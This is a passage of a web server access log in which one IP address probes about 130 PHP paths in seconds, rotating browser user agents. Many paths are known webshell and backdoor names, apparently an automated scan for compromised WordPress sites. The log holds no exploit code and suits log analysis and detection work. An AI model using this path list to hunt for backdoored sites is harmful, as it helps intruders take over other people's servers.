Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:39:05 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:39:06 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:06 +0300] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:06 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:06 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:06 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:07 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:07 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:07 +0300] "GET /wp-content/uploads/2025/04/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:07 +0300] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:39:07 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:39:08 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:08 +0300] "GET /wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:08 +0300] "GET /wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:08 +0300] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:39:09 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:09 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:09 +0300] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:09 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:39:09 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:10 +0300] "GET /templates/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:10 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:39:10 +0300] "GET /wp-content/plugins/apikey/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:10 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:10 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:11 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:11 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:39:11 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:39:11 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:39:12 +0300] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:12 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:39:12 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:12 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:39:12 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:13 +0300] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:13 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:39:13 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:13 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:13 +0300] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:14 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:14 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:14 +0300] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:39:14 +0300] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:39:15 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:15 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:15 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:39:15 +0300] "GET /ae.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:39:15 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:15 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:16 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:16 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:39:16 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:39:16 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:17 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:39:17 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:17 +0300] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:17 +0300] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:39:17 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:18 +0300] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:39:18 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:39:18 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:18 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:19 +0300] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:19 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:19 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:39:19 +0300] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:19 +0300] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:20 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:39:20 +0300] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:39:20 +0300] "GET /uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:20 +0300] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:21 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:39:21 +0300] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:39:21 +0300] "GET /wxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:39:21 +0300] "GET /amigo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:21 +0300] "GET /yoi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:22 +0300] "GET /wp-admin/codeboy1877_up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:22 +0300] "GET /wp-includes/codeboy1877_up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:22 +0300] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:22 +0300] "GET /we1y8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:39:22 +0300] "GET /wp-content/iu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:23 +0300] "GET /ccx/th3_err0r.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:23 +0300] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:23 +0300] "GET /wp-content/codeboy1877_up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:23 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:24 +0300] "GET /post-data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:24 +0300] "GET /w0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:24 +0300] "GET /old-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:25 +0300] "GET /wsanon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:25 +0300] "GET /wp-content/small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:39:25 +0300] "GET /wp-content/mode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:26 +0300] "GET /indo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:26 +0300] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:26 +0300] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:26 +0300] "GET /archives.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:39:27 +0300] "GET /po8sa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:39:27 +0300] "GET /thesmartestx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:27 +0300] "GET /zcanp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:39:27 +0300] "GET /burjuva.aspx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:39:27 +0300] "GET /pvt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:39:28 +0300] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:28 +0300] "GET /cgi-bin/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:28 +0300] "GET /crypted.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:28 +0300] "GET /h0110w4y.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:28 +0300] "GET /vesiw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 98.159.43.135 - - [21/Feb/2026:16:39:29 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:29 +0300] "GET /wp-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:29 +0300] "GET /wp-includes/lx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:29 +0300] "GET /wp-content/ice.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:29 +0300] "GET /wp-content/lx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:30 +0300] "GET /lx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:39:30 +0300] "GET /tonant.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:39:30 +0300] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:30 +0300] "GET /config.bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:30 +0300] "GET /bypass403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:31 +0300] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 